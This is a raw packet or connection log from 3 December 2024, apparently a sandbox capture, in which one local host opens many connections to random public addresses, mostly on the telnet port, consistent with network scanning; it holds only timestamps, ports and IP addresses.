Dec 3, 2024 23:16:47.523972034 CET	40602	23	192.168.2.23	139.189.52.84
Dec 3, 2024 23:16:47.523972034 CET	40602	23	192.168.2.23	152.42.147.230
Dec 3, 2024 23:16:47.523981094 CET	40602	23	192.168.2.23	8.209.95.234
Dec 3, 2024 23:16:47.523981094 CET	40602	23	192.168.2.23	79.126.104.67
Dec 3, 2024 23:16:47.523986101 CET	40602	23	192.168.2.23	220.101.172.121
Dec 3, 2024 23:16:47.523986101 CET	40602	23	192.168.2.23	95.226.84.58
Dec 3, 2024 23:16:47.523986101 CET	40602	23	192.168.2.23	89.160.209.251
Dec 3, 2024 23:16:47.523988008 CET	40602	23	192.168.2.23	25.205.197.112
Dec 3, 2024 23:16:47.523988008 CET	40602	23	192.168.2.23	177.16.150.112
Dec 3, 2024 23:16:47.523988008 CET	40602	23	192.168.2.23	211.74.92.37
Dec 3, 2024 23:16:47.523988008 CET	56904	23	192.168.2.23	59.255.82.49
Dec 3, 2024 23:16:47.523988008 CET	40602	23	192.168.2.23	144.155.192.145
Dec 3, 2024 23:16:47.523988008 CET	42348	23	192.168.2.23	143.212.155.26
Dec 3, 2024 23:16:47.523988962 CET	40602	23	192.168.2.23	142.14.195.142
Dec 3, 2024 23:16:47.523991108 CET	40602	23	192.168.2.23	60.52.240.8
Dec 3, 2024 23:16:47.523989916 CET	40602	23	192.168.2.23	27.24.54.83
Dec 3, 2024 23:16:47.523988962 CET	40602	23	192.168.2.23	95.0.47.151
Dec 3, 2024 23:16:47.523991108 CET	58352	23	192.168.2.23	139.93.186.145
Dec 3, 2024 23:16:47.523991108 CET	40602	23	192.168.2.23	2.164.153.107
Dec 3, 2024 23:16:47.523996115 CET	40602	23	192.168.2.23	36.104.135.211
Dec 3, 2024 23:16:47.523999929 CET	40602	23	192.168.2.23	126.223.41.112
Dec 3, 2024 23:16:47.523999929 CET	40602	23	192.168.2.23	156.49.115.232
Dec 3, 2024 23:16:47.524002075 CET	23	32862	151.216.105.82	192.168.2.23
Dec 3, 2024 23:16:47.524009943 CET	43932	23	192.168.2.23	210.13.5.108
Dec 3, 2024 23:16:47.524014950 CET	23	44514	35.148.186.19	192.168.2.23
Dec 3, 2024 23:16:47.524020910 CET	40602	23	192.168.2.23	166.76.241.200
Dec 3, 2024 23:16:47.524033070 CET	32862	23	192.168.2.23	151.216.105.82
Dec 3, 2024 23:16:47.524035931 CET	40602	23	192.168.2.23	63.28.23.157
Dec 3, 2024 23:16:47.524035931 CET	40602	23	192.168.2.23	178.234.16.105
Dec 3, 2024 23:16:47.524045944 CET	40602	23	192.168.2.23	141.13.164.245
Dec 3, 2024 23:16:47.524046898 CET	40602	23	192.168.2.23	174.72.234.0
Dec 3, 2024 23:16:47.524048090 CET	23	37468	213.69.162.227	192.168.2.23
Dec 3, 2024 23:16:47.524054050 CET	44514	23	192.168.2.23	35.148.186.19
Dec 3, 2024 23:16:47.524058104 CET	40602	23	192.168.2.23	221.112.194.189
Dec 3, 2024 23:16:47.524074078 CET	40602	23	192.168.2.23	65.245.206.10
Dec 3, 2024 23:16:47.524075985 CET	40602	23	192.168.2.23	83.197.236.50
Dec 3, 2024 23:16:47.524079084 CET	40602	23	192.168.2.23	168.216.75.140
Dec 3, 2024 23:16:47.524082899 CET	37468	23	192.168.2.23	213.69.162.227
Dec 3, 2024 23:16:47.524086952 CET	23	49208	86.223.218.242	192.168.2.23
Dec 3, 2024 23:16:47.524097919 CET	40602	23	192.168.2.23	205.160.179.197
Dec 3, 2024 23:16:47.524100065 CET	40602	23	192.168.2.23	172.132.25.5
Dec 3, 2024 23:16:47.524101973 CET	40602	23	192.168.2.23	89.15.209.55
Dec 3, 2024 23:16:47.524111032 CET	40602	23	192.168.2.23	72.139.180.136
Dec 3, 2024 23:16:47.524116993 CET	49208	23	192.168.2.23	86.223.218.242
Dec 3, 2024 23:16:47.524118900 CET	40602	23	192.168.2.23	67.144.237.187
Dec 3, 2024 23:16:47.524126053 CET	40602	23	192.168.2.23	150.54.148.192
Dec 3, 2024 23:16:47.524127960 CET	23	55836	173.31.209.207	192.168.2.23
Dec 3, 2024 23:16:47.524127960 CET	40602	23	192.168.2.23	137.63.252.220
Dec 3, 2024 23:16:47.524136066 CET	40602	23	192.168.2.23	190.61.201.127
Dec 3, 2024 23:16:47.524136066 CET	40602	23	192.168.2.23	23.142.119.140
Dec 3, 2024 23:16:47.524142981 CET	40602	23	192.168.2.23	123.72.149.11
Dec 3, 2024 23:16:47.524147034 CET	40602	23	192.168.2.23	160.63.45.232
Dec 3, 2024 23:16:47.524149895 CET	40602	23	192.168.2.23	100.33.33.97
Dec 3, 2024 23:16:47.524149895 CET	40602	23	192.168.2.23	67.99.130.73
Dec 3, 2024 23:16:47.524162054 CET	40602	23	192.168.2.23	132.54.144.82
Dec 3, 2024 23:16:47.524167061 CET	55836	23	192.168.2.23	173.31.209.207
Dec 3, 2024 23:16:47.524168015 CET	40602	23	192.168.2.23	180.113.217.205
Dec 3, 2024 23:16:47.524171114 CET	40602	23	192.168.2.23	110.205.209.43
Dec 3, 2024 23:16:47.524200916 CET	40602	23	192.168.2.23	193.27.107.4
Dec 3, 2024 23:16:47.524200916 CET	40602	23	192.168.2.23	8.44.79.58
Dec 3, 2024 23:16:47.524202108 CET	40602	23	192.168.2.23	44.46.206.17
Dec 3, 2024 23:16:47.524200916 CET	40602	23	192.168.2.23	12.198.181.193
Dec 3, 2024 23:16:47.524202108 CET	40602	23	192.168.2.23	193.80.29.40
Dec 3, 2024 23:16:47.524202108 CET	40602	23	192.168.2.23	209.40.150.165
Dec 3, 2024 23:16:47.524213076 CET	40602	23	192.168.2.23	92.13.255.134
Dec 3, 2024 23:16:47.524214983 CET	40602	23	192.168.2.23	144.125.195.235
Dec 3, 2024 23:16:47.524214983 CET	40602	23	192.168.2.23	119.228.209.157
Dec 3, 2024 23:16:47.524216890 CET	40602	23	192.168.2.23	12.81.220.221
Dec 3, 2024 23:16:47.524216890 CET	40602	23	192.168.2.23	178.217.200.174
Dec 3, 2024 23:16:47.524216890 CET	40602	23	192.168.2.23	222.48.17.179
Dec 3, 2024 23:16:47.524219036 CET	40602	23	192.168.2.23	144.10.108.114
Dec 3, 2024 23:16:47.524219990 CET	40602	23	192.168.2.23	89.121.151.168
Dec 3, 2024 23:16:47.524219990 CET	40602	23	192.168.2.23	79.1.177.49
Dec 3, 2024 23:16:47.524239063 CET	40602	23	192.168.2.23	9.100.189.173
Dec 3, 2024 23:16:47.524240017 CET	40602	23	192.168.2.23	190.42.76.13
Dec 3, 2024 23:16:47.524240971 CET	40602	23	192.168.2.23	24.6.103.29
Dec 3, 2024 23:16:47.524240971 CET	40602	23	192.168.2.23	162.240.132.66
Dec 3, 2024 23:16:47.524240971 CET	40602	23	192.168.2.23	212.104.47.83
Dec 3, 2024 23:16:47.524241924 CET	40602	23	192.168.2.23	171.101.97.9
Dec 3, 2024 23:16:47.524241924 CET	40602	23	192.168.2.23	191.49.34.238
Dec 3, 2024 23:16:47.524241924 CET	40602	23	192.168.2.23	95.34.141.243
Dec 3, 2024 23:16:47.524241924 CET	40602	23	192.168.2.23	211.241.16.12
Dec 3, 2024 23:16:47.524243116 CET	40602	23	192.168.2.23	81.75.65.192
Dec 3, 2024 23:16:47.524243116 CET	40602	23	192.168.2.23	197.91.31.117
Dec 3, 2024 23:16:47.524243116 CET	40602	23	192.168.2.23	170.158.154.145
Dec 3, 2024 23:16:47.524243116 CET	40602	23	192.168.2.23	84.151.173.247
Dec 3, 2024 23:16:47.524251938 CET	40602	23	192.168.2.23	114.166.156.253
Dec 3, 2024 23:16:47.524252892 CET	40602	23	192.168.2.23	190.75.184.81
Dec 3, 2024 23:16:47.524252892 CET	40602	23	192.168.2.23	158.230.126.93
Dec 3, 2024 23:16:47.524257898 CET	40602	23	192.168.2.23	181.209.104.217
Dec 3, 2024 23:16:47.524257898 CET	40602	23	192.168.2.23	190.166.138.230
Dec 3, 2024 23:16:47.524259090 CET	40602	23	192.168.2.23	94.6.40.39
Dec 3, 2024 23:16:47.524261951 CET	40602	23	192.168.2.23	1.74.101.133
Dec 3, 2024 23:16:47.524261951 CET	40602	23	192.168.2.23	187.240.153.197
Dec 3, 2024 23:16:47.524276972 CET	40602	23	192.168.2.23	114.32.230.169
Dec 3, 2024 23:16:47.524277925 CET	40602	23	192.168.2.23	36.196.200.195
Dec 3, 2024 23:16:47.524279118 CET	40602	23	192.168.2.23	178.148.70.130
Dec 3, 2024 23:16:47.524280071 CET	40602	23	192.168.2.23	64.45.114.241
Dec 3, 2024 23:16:47.524280071 CET	40602	23	192.168.2.23	162.21.226.196
Dec 3, 2024 23:16:47.524281025 CET	40602	23	192.168.2.23	85.191.189.249
Dec 3, 2024 23:16:47.524281025 CET	40602	23	192.168.2.23	67.89.73.60
Dec 3, 2024 23:16:47.524281025 CET	40602	23	192.168.2.23	129.115.181.3
Dec 3, 2024 23:16:47.524281979 CET	40602	23	192.168.2.23	221.143.51.37
Dec 3, 2024 23:16:47.524285078 CET	40602	23	192.168.2.23	58.123.175.189
Dec 3, 2024 23:16:47.524285078 CET	40602	23	192.168.2.23	171.124.29.132
Dec 3, 2024 23:16:47.524291039 CET	40602	23	192.168.2.23	187.181.238.133
Dec 3, 2024 23:16:47.524298906 CET	40602	23	192.168.2.23	68.16.233.4
Dec 3, 2024 23:16:47.524298906 CET	40602	23	192.168.2.23	13.112.163.230
Dec 3, 2024 23:16:47.524300098 CET	40602	23	192.168.2.23	9.34.245.136
Dec 3, 2024 23:16:47.524301052 CET	40602	23	192.168.2.23	128.80.20.93
Dec 3, 2024 23:16:47.524301052 CET	40602	23	192.168.2.23	169.48.222.199
Dec 3, 2024 23:16:47.524301052 CET	40602	23	192.168.2.23	57.65.155.111
Dec 3, 2024 23:16:47.524303913 CET	40602	23	192.168.2.23	47.22.56.213
Dec 3, 2024 23:16:47.524307013 CET	40602	23	192.168.2.23	57.120.136.102
Dec 3, 2024 23:16:47.524307013 CET	40602	23	192.168.2.23	31.179.219.176
Dec 3, 2024 23:16:47.524310112 CET	40602	23	192.168.2.23	87.120.90.249
Dec 3, 2024 23:16:47.524312019 CET	40602	23	192.168.2.23	50.48.45.28
Dec 3, 2024 23:16:47.524312019 CET	40602	23	192.168.2.23	25.67.159.215
Dec 3, 2024 23:16:47.524312973 CET	40602	23	192.168.2.23	216.24.40.219
Dec 3, 2024 23:16:47.524312973 CET	40602	23	192.168.2.23	24.91.82.35
Dec 3, 2024 23:16:47.524332047 CET	40602	23	192.168.2.23	209.108.147.79
Dec 3, 2024 23:16:47.524332047 CET	40602	23	192.168.2.23	186.66.140.205
Dec 3, 2024 23:16:47.524332047 CET	40602	23	192.168.2.23	191.241.156.27
Dec 3, 2024 23:16:47.524334908 CET	40602	23	192.168.2.23	135.34.160.247
Dec 3, 2024 23:16:47.524334908 CET	40602	23	192.168.2.23	135.43.237.241
Dec 3, 2024 23:16:47.524334908 CET	40602	23	192.168.2.23	58.67.48.232
Dec 3, 2024 23:16:47.524338007 CET	40602	23	192.168.2.23	18.73.76.69
Dec 3, 2024 23:16:47.524338007 CET	40602	23	192.168.2.23	187.204.54.137
Dec 3, 2024 23:16:47.524338007 CET	40602	23	192.168.2.23	122.88.110.247
Dec 3, 2024 23:16:47.524348021 CET	40602	23	192.168.2.23	203.254.88.203
Dec 3, 2024 23:16:47.524349928 CET	40602	23	192.168.2.23	144.1.9.190
Dec 3, 2024 23:16:47.524353981 CET	40602	23	192.168.2.23	2.150.58.198
Dec 3, 2024 23:16:47.524353981 CET	40602	23	192.168.2.23	217.229.49.207
Dec 3, 2024 23:16:47.524357080 CET	40602	23	192.168.2.23	202.250.56.44
Dec 3, 2024 23:16:47.524357080 CET	40602	23	192.168.2.23	201.125.13.249
Dec 3, 2024 23:16:47.524357080 CET	40602	23	192.168.2.23	57.179.176.90
Dec 3, 2024 23:16:47.524357080 CET	40602	23	192.168.2.23	170.110.254.198
Dec 3, 2024 23:16:47.524357080 CET	40602	23	192.168.2.23	125.230.41.243
Dec 3, 2024 23:16:47.524359941 CET	40602	23	192.168.2.23	70.195.201.225
Dec 3, 2024 23:16:47.524369955 CET	40602	23	192.168.2.23	128.254.254.157
Dec 3, 2024 23:16:47.524369955 CET	40602	23	192.168.2.23	25.150.127.208
Dec 3, 2024 23:16:47.524372101 CET	40602	23	192.168.2.23	147.166.98.7
Dec 3, 2024 23:16:47.524372101 CET	40602	23	192.168.2.23	197.223.44.172
Dec 3, 2024 23:16:47.524373055 CET	40602	23	192.168.2.23	135.113.11.141
Dec 3, 2024 23:16:47.524384975 CET	40602	23	192.168.2.23	146.132.14.97
Dec 3, 2024 23:16:47.524384975 CET	40602	23	192.168.2.23	48.52.112.252
Dec 3, 2024 23:16:47.524394035 CET	40602	23	192.168.2.23	69.129.243.55
Dec 3, 2024 23:16:47.524394989 CET	40602	23	192.168.2.23	145.241.79.1
Dec 3, 2024 23:16:47.524394989 CET	40602	23	192.168.2.23	86.167.6.214
Dec 3, 2024 23:16:47.524395943 CET	40602	23	192.168.2.23	14.149.153.170
Dec 3, 2024 23:16:47.524398088 CET	40602	23	192.168.2.23	205.32.106.113
Dec 3, 2024 23:16:47.524398088 CET	40602	23	192.168.2.23	61.56.119.25
Dec 3, 2024 23:16:47.524399042 CET	40602	23	192.168.2.23	151.24.251.145
Dec 3, 2024 23:16:47.524399042 CET	40602	23	192.168.2.23	25.135.112.232
Dec 3, 2024 23:16:47.524418116 CET	40602	23	192.168.2.23	203.70.12.0
Dec 3, 2024 23:16:47.524419069 CET	40602	23	192.168.2.23	43.183.96.48
Dec 3, 2024 23:16:47.524419069 CET	40602	23	192.168.2.23	114.22.35.242
Dec 3, 2024 23:16:47.524420023 CET	40602	23	192.168.2.23	40.221.64.185
Dec 3, 2024 23:16:47.524420977 CET	40602	23	192.168.2.23	205.161.253.81
Dec 3, 2024 23:16:47.524420977 CET	40602	23	192.168.2.23	13.255.241.158
Dec 3, 2024 23:16:47.524420977 CET	40602	23	192.168.2.23	187.44.35.172
Dec 3, 2024 23:16:47.524421930 CET	40602	23	192.168.2.23	143.160.172.207
Dec 3, 2024 23:16:47.524421930 CET	40602	23	192.168.2.23	20.25.171.32
Dec 3, 2024 23:16:47.524422884 CET	40602	23	192.168.2.23	136.18.176.16
Dec 3, 2024 23:16:47.524422884 CET	40602	23	192.168.2.23	183.240.170.213
Dec 3, 2024 23:16:47.524422884 CET	40602	23	192.168.2.23	51.212.245.49
Dec 3, 2024 23:16:47.524440050 CET	40602	23	192.168.2.23	209.142.203.237
Dec 3, 2024 23:16:47.524441004 CET	40602	23	192.168.2.23	12.121.14.143
Dec 3, 2024 23:16:47.524441957 CET	40602	23	192.168.2.23	97.205.55.153
Dec 3, 2024 23:16:47.524441957 CET	40602	23	192.168.2.23	107.216.145.241
Dec 3, 2024 23:16:47.524442911 CET	40602	23	192.168.2.23	43.90.215.43
Dec 3, 2024 23:16:47.524441957 CET	40602	23	192.168.2.23	34.156.162.129
Dec 3, 2024 23:16:47.524442911 CET	40602	23	192.168.2.23	223.254.52.63
Dec 3, 2024 23:16:47.524442911 CET	40602	23	192.168.2.23	44.179.167.239
Dec 3, 2024 23:16:47.524442911 CET	40602	23	192.168.2.23	203.147.161.183
Dec 3, 2024 23:16:47.524442911 CET	40602	23	192.168.2.23	222.0.223.194
Dec 3, 2024 23:16:47.524442911 CET	40602	23	192.168.2.23	32.221.150.107
Dec 3, 2024 23:16:47.524442911 CET	40602	23	192.168.2.23	134.219.213.229
Dec 3, 2024 23:16:47.524442911 CET	40602	23	192.168.2.23	208.82.47.19
Dec 3, 2024 23:16:47.524456978 CET	40602	23	192.168.2.23	151.58.163.122
Dec 3, 2024 23:16:47.524460077 CET	40602	23	192.168.2.23	189.96.29.174
Dec 3, 2024 23:16:47.524460077 CET	40602	23	192.168.2.23	209.217.243.112
Dec 3, 2024 23:16:47.524460077 CET	40602	23	192.168.2.23	62.12.70.159
Dec 3, 2024 23:16:47.524460077 CET	40602	23	192.168.2.23	184.178.193.94
Dec 3, 2024 23:16:47.524460077 CET	40602	23	192.168.2.23	162.194.66.1
Dec 3, 2024 23:16:47.524461985 CET	40602	23	192.168.2.23	99.232.207.30
Dec 3, 2024 23:16:47.524460077 CET	40602	23	192.168.2.23	98.173.124.111
Dec 3, 2024 23:16:47.524461985 CET	40602	23	192.168.2.23	112.2.42.157
Dec 3, 2024 23:16:47.524461985 CET	40602	23	192.168.2.23	25.8.84.107
Dec 3, 2024 23:16:47.524461985 CET	40602	23	192.168.2.23	18.40.73.151
Dec 3, 2024 23:16:47.524471045 CET	40602	23	192.168.2.23	178.156.46.88
Dec 3, 2024 23:16:47.524473906 CET	40602	23	192.168.2.23	19.192.71.25
Dec 3, 2024 23:16:47.524473906 CET	40602	23	192.168.2.23	205.39.125.10
Dec 3, 2024 23:16:47.524473906 CET	40602	23	192.168.2.23	105.186.245.79
Dec 3, 2024 23:16:47.524475098 CET	40602	23	192.168.2.23	58.227.145.34
Dec 3, 2024 23:16:47.524478912 CET	40602	23	192.168.2.23	48.107.11.78
Dec 3, 2024 23:16:47.524478912 CET	40602	23	192.168.2.23	47.210.122.255
Dec 3, 2024 23:16:47.524478912 CET	40602	23	192.168.2.23	147.105.209.186
Dec 3, 2024 23:16:47.524490118 CET	40602	23	192.168.2.23	17.217.135.217
Dec 3, 2024 23:16:47.524490118 CET	40602	23	192.168.2.23	199.140.135.104
Dec 3, 2024 23:16:47.524490118 CET	40602	23	192.168.2.23	160.51.182.186
Dec 3, 2024 23:16:47.524490118 CET	40602	23	192.168.2.23	115.128.92.232
Dec 3, 2024 23:16:47.524490118 CET	40602	23	192.168.2.23	217.69.129.11
Dec 3, 2024 23:16:47.524490118 CET	40602	23	192.168.2.23	17.11.238.238
Dec 3, 2024 23:16:47.524491072 CET	40602	23	192.168.2.23	61.204.80.63
Dec 3, 2024 23:16:47.524491072 CET	40602	23	192.168.2.23	198.20.89.242
Dec 3, 2024 23:16:47.524491072 CET	40602	23	192.168.2.23	143.197.23.67
Dec 3, 2024 23:16:47.524502993 CET	40602	23	192.168.2.23	107.157.139.196
Dec 3, 2024 23:16:47.524502993 CET	40602	23	192.168.2.23	164.146.104.81
Dec 3, 2024 23:16:47.524503946 CET	40602	23	192.168.2.23	207.226.226.128
Dec 3, 2024 23:16:47.524504900 CET	40602	23	192.168.2.23	181.195.74.238
Dec 3, 2024 23:16:47.524508953 CET	40602	23	192.168.2.23	126.156.87.80
Dec 3, 2024 23:16:47.524509907 CET	40602	23	192.168.2.23	181.150.155.93
Dec 3, 2024 23:16:47.524508953 CET	40602	23	192.168.2.23	193.149.146.123
Dec 3, 2024 23:16:47.524508953 CET	40602	23	192.168.2.23	201.240.190.106
Dec 3, 2024 23:16:47.524508953 CET	40602	23	192.168.2.23	71.15.229.231
Dec 3, 2024 23:16:47.524509907 CET	40602	23	192.168.2.23	218.213.159.74
Dec 3, 2024 23:16:47.524508953 CET	40602	23	192.168.2.23	18.58.88.49
Dec 3, 2024 23:16:47.524508953 CET	40602	23	192.168.2.23	171.83.31.245
Dec 3, 2024 23:16:47.524508953 CET	40602	23	192.168.2.23	8.112.214.216
Dec 3, 2024 23:16:47.524518013 CET	40602	23	192.168.2.23	20.45.111.139
Dec 3, 2024 23:16:47.524521112 CET	40602	23	192.168.2.23	205.140.94.103
Dec 3, 2024 23:16:47.524521112 CET	40602	23	192.168.2.23	96.115.25.184
Dec 3, 2024 23:16:47.524525881 CET	40602	23	192.168.2.23	204.84.104.37
Dec 3, 2024 23:16:47.524533033 CET	40602	23	192.168.2.23	25.196.229.184
Dec 3, 2024 23:16:47.524535894 CET	40602	23	192.168.2.23	69.82.78.176
Dec 3, 2024 23:16:47.524535894 CET	40602	23	192.168.2.23	70.37.187.105
Dec 3, 2024 23:16:47.524535894 CET	40602	23	192.168.2.23	160.150.23.164
Dec 3, 2024 23:16:47.524538040 CET	40602	23	192.168.2.23	202.193.63.131
Dec 3, 2024 23:16:47.524543047 CET	40602	23	192.168.2.23	128.248.85.90
Dec 3, 2024 23:16:47.524545908 CET	40602	23	192.168.2.23	4.206.60.83
Dec 3, 2024 23:16:47.524550915 CET	40602	23	192.168.2.23	219.220.70.147
Dec 3, 2024 23:16:47.524553061 CET	40602	23	192.168.2.23	122.222.77.75
Dec 3, 2024 23:16:47.524557114 CET	40602	23	192.168.2.23	130.127.38.13
Dec 3, 2024 23:16:47.524557114 CET	40602	23	192.168.2.23	160.31.121.219
Dec 3, 2024 23:16:47.524566889 CET	40602	23	192.168.2.23	180.107.56.245
Dec 3, 2024 23:16:47.524568081 CET	40602	23	192.168.2.23	161.8.22.141
Dec 3, 2024 23:16:47.524580002 CET	40602	23	192.168.2.23	54.96.21.34
Dec 3, 2024 23:16:47.524585009 CET	40602	23	192.168.2.23	79.167.246.57
Dec 3, 2024 23:16:47.524590969 CET	40602	23	192.168.2.23	192.182.145.81
Dec 3, 2024 23:16:47.524594069 CET	40602	23	192.168.2.23	72.135.191.100
Dec 3, 2024 23:16:47.524604082 CET	40602	23	192.168.2.23	169.197.11.174
Dec 3, 2024 23:16:47.524604082 CET	40602	23	192.168.2.23	122.132.90.44
Dec 3, 2024 23:16:47.524609089 CET	40602	23	192.168.2.23	181.166.221.146
Dec 3, 2024 23:16:47.524624109 CET	40602	23	192.168.2.23	220.204.59.215
Dec 3, 2024 23:16:47.524626017 CET	40602	23	192.168.2.23	222.228.51.60
Dec 3, 2024 23:16:47.524627924 CET	40602	23	192.168.2.23	180.143.123.187
Dec 3, 2024 23:16:47.524631023 CET	40602	23	192.168.2.23	159.244.90.123
Dec 3, 2024 23:16:47.524642944 CET	40602	23	192.168.2.23	81.75.153.209
Dec 3, 2024 23:16:47.524642944 CET	40602	23	192.168.2.23	62.20.31.172
Dec 3, 2024 23:16:47.524650097 CET	40602	23	192.168.2.23	192.158.234.194
Dec 3, 2024 23:16:47.524650097 CET	40602	23	192.168.2.23	1.19.214.24
Dec 3, 2024 23:16:47.524657011 CET	40602	23	192.168.2.23	31.167.103.142
Dec 3, 2024 23:16:47.524660110 CET	40602	23	192.168.2.23	154.207.69.136
Dec 3, 2024 23:16:47.524669886 CET	40602	23	192.168.2.23	213.114.146.63
Dec 3, 2024 23:16:47.524678946 CET	40602	23	192.168.2.23	4.101.187.176
Dec 3, 2024 23:16:47.524682045 CET	40602	23	192.168.2.23	65.97.10.99
Dec 3, 2024 23:16:47.524682045 CET	40602	23	192.168.2.23	175.246.232.60
Dec 3, 2024 23:16:47.524698019 CET	40602	23	192.168.2.23	183.166.37.123
Dec 3, 2024 23:16:47.524698973 CET	40602	23	192.168.2.23	2.101.149.214
Dec 3, 2024 23:16:47.524707079 CET	40602	23	192.168.2.23	34.85.182.254
Dec 3, 2024 23:16:47.524708033 CET	40602	23	192.168.2.23	81.198.189.211
Dec 3, 2024 23:16:47.524720907 CET	40602	23	192.168.2.23	174.86.48.152
Dec 3, 2024 23:16:47.524729013 CET	40602	23	192.168.2.23	72.48.208.87
Dec 3, 2024 23:16:47.524729967 CET	40602	23	192.168.2.23	168.146.175.61
Dec 3, 2024 23:16:47.524733067 CET	40602	23	192.168.2.23	13.31.19.84
Dec 3, 2024 23:16:47.524743080 CET	40602	23	192.168.2.23	167.87.145.39
Dec 3, 2024 23:16:47.524748087 CET	40602	23	192.168.2.23	137.109.195.163
Dec 3, 2024 23:16:47.524760008 CET	40602	23	192.168.2.23	61.238.80.84
Dec 3, 2024 23:16:47.524768114 CET	40602	23	192.168.2.23	19.237.11.164
Dec 3, 2024 23:16:47.524770975 CET	40602	23	192.168.2.23	171.73.202.3
Dec 3, 2024 23:16:47.524786949 CET	40602	23	192.168.2.23	196.28.154.151
Dec 3, 2024 23:16:47.524789095 CET	40602	23	192.168.2.23	141.249.144.7
Dec 3, 2024 23:16:47.524789095 CET	40602	23	192.168.2.23	110.30.249.254
Dec 3, 2024 23:16:47.524791956 CET	40602	23	192.168.2.23	137.141.139.173
Dec 3, 2024 23:16:47.524795055 CET	40602	23	192.168.2.23	122.35.160.186
Dec 3, 2024 23:16:47.524796009 CET	40602	23	192.168.2.23	67.103.242.111
Dec 3, 2024 23:16:47.524801970 CET	40602	23	192.168.2.23	196.165.174.242
Dec 3, 2024 23:16:47.524811029 CET	40602	23	192.168.2.23	179.50.192.11
Dec 3, 2024 23:16:47.524811983 CET	40602	23	192.168.2.23	120.153.116.178
Dec 3, 2024 23:16:47.524811983 CET	40602	23	192.168.2.23	191.230.90.82
Dec 3, 2024 23:16:47.524817944 CET	40602	23	192.168.2.23	18.141.68.237
Dec 3, 2024 23:16:47.524821997 CET	40602	23	192.168.2.23	117.40.116.65
Dec 3, 2024 23:16:47.524825096 CET	40602	23	192.168.2.23	54.92.193.180
Dec 3, 2024 23:16:47.524830103 CET	40602	23	192.168.2.23	165.36.244.151
Dec 3, 2024 23:16:47.524831057 CET	40602	23	192.168.2.23	106.9.241.119
Dec 3, 2024 23:16:47.524838924 CET	40602	23	192.168.2.23	35.166.104.63
Dec 3, 2024 23:16:47.524838924 CET	40602	23	192.168.2.23	67.96.202.98
Dec 3, 2024 23:16:47.524858952 CET	40602	23	192.168.2.23	221.76.208.186
Dec 3, 2024 23:16:47.524863005 CET	40602	23	192.168.2.23	57.174.186.223
Dec 3, 2024 23:16:47.524863005 CET	40602	23	192.168.2.23	130.113.193.106
Dec 3, 2024 23:16:47.524863958 CET	40602	23	192.168.2.23	166.20.181.35
Dec 3, 2024 23:16:47.524863958 CET	40602	23	192.168.2.23	24.107.113.77
Dec 3, 2024 23:16:47.524864912 CET	40602	23	192.168.2.23	98.83.64.35
Dec 3, 2024 23:16:47.524864912 CET	40602	23	192.168.2.23	77.125.113.32
Dec 3, 2024 23:16:47.524888039 CET	40602	23	192.168.2.23	67.1.233.248
Dec 3, 2024 23:16:47.524892092 CET	40602	23	192.168.2.23	163.148.181.96
Dec 3, 2024 23:16:47.524892092 CET	40602	23	192.168.2.23	136.76.203.218
Dec 3, 2024 23:16:47.524899006 CET	40602	23	192.168.2.23	24.14.109.245
Dec 3, 2024 23:16:47.524910927 CET	40602	23	192.168.2.23	83.79.169.218
Dec 3, 2024 23:16:47.524914980 CET	40602	23	192.168.2.23	172.14.133.242
Dec 3, 2024 23:16:47.526932001 CET	37215	40597	197.184.110.72	192.168.2.23
Dec 3, 2024 23:16:47.526983976 CET	40597	37215	192.168.2.23	197.184.110.72
Dec 3, 2024 23:16:47.527005911 CET	37215	40597	197.25.172.124	192.168.2.23
Dec 3, 2024 23:16:47.527023077 CET	37215	40597	197.57.240.239	192.168.2.23
Dec 3, 2024 23:16:47.527055025 CET	40597	37215	192.168.2.23	197.25.172.124
Dec 3, 2024 23:16:47.527077913 CET	37215	40597	41.50.74.64	192.168.2.23
Dec 3, 2024 23:16:47.527079105 CET	40597	37215	192.168.2.23	197.57.240.239
Dec 3, 2024 23:16:47.527087927 CET	37215	40597	156.213.87.168	192.168.2.23
Dec 3, 2024 23:16:47.527115107 CET	40597	37215	192.168.2.23	41.50.74.64
Dec 3, 2024 23:16:47.527122021 CET	40597	37215	192.168.2.23	156.213.87.168
Dec 3, 2024 23:16:47.527487993 CET	47724	23	192.168.2.23	57.17.77.51
Dec 3, 2024 23:16:47.527491093 CET	36064	23	192.168.2.23	99.183.248.196
Dec 3, 2024 23:16:47.527493000 CET	41148	23	192.168.2.23	48.92.44.82
Dec 3, 2024 23:16:47.527493000 CET	54388	23	192.168.2.23	82.205.195.109
Dec 3, 2024 23:16:47.527498960 CET	59506	23	192.168.2.23	51.132.249.56
Dec 3, 2024 23:16:47.527499914 CET	40870	23	192.168.2.23	208.194.164.70
Dec 3, 2024 23:16:47.527499914 CET	32874	23	192.168.2.23	220.222.86.116
Dec 3, 2024 23:16:47.527508974 CET	48760	23	192.168.2.23	150.173.229.11
Dec 3, 2024 23:16:47.527509928 CET	50312	23	192.168.2.23	40.155.36.84
Dec 3, 2024 23:16:47.527509928 CET	58322	23	192.168.2.23	158.85.95.150
Dec 3, 2024 23:16:47.527509928 CET	53316	23	192.168.2.23	198.189.113.143
Dec 3, 2024 23:16:47.527513027 CET	35130	23	192.168.2.23	82.88.141.198
Dec 3, 2024 23:16:47.527513027 CET	55286	23	192.168.2.23	151.240.39.152
Dec 3, 2024 23:16:47.527515888 CET	47608	23	192.168.2.23	161.152.46.196
Dec 3, 2024 23:16:47.527520895 CET	57634	23	192.168.2.23	40.109.90.228
Dec 3, 2024 23:16:47.555283070 CET	23	37234	174.240.221.105	192.168.2.23
Dec 3, 2024 23:16:47.555308104 CET	23	55072	85.112.26.149	192.168.2.23
Dec 3, 2024 23:16:47.555321932 CET	37215	57276	156.124.55.110	192.168.2.23
Dec 3, 2024 23:16:47.555468082 CET	37234	23	192.168.2.23	174.240.221.105
Dec 3, 2024 23:16:47.555469990 CET	55072	23	192.168.2.23	85.112.26.149
Dec 3, 2024 23:16:47.555469990 CET	57276	37215	192.168.2.23	156.124.55.110
Dec 3, 2024 23:16:47.556169033 CET	33594	37215	192.168.2.23	197.184.110.72
Dec 3, 2024 23:16:47.556835890 CET	55264	37215	192.168.2.23	197.25.172.124
Dec 3, 2024 23:16:47.557446957 CET	58794	37215	192.168.2.23	197.57.240.239
Dec 3, 2024 23:16:47.558092117 CET	56492	37215	192.168.2.23	41.50.74.64
Dec 3, 2024 23:16:47.558708906 CET	50796	37215	192.168.2.23	156.213.87.168
Dec 3, 2024 23:16:47.559258938 CET	57276	37215	192.168.2.23	156.124.55.110
Dec 3, 2024 23:16:47.559309959 CET	57276	37215	192.168.2.23	156.124.55.110
Dec 3, 2024 23:16:47.559487104 CET	49182	80	192.168.2.23	205.8.224.113
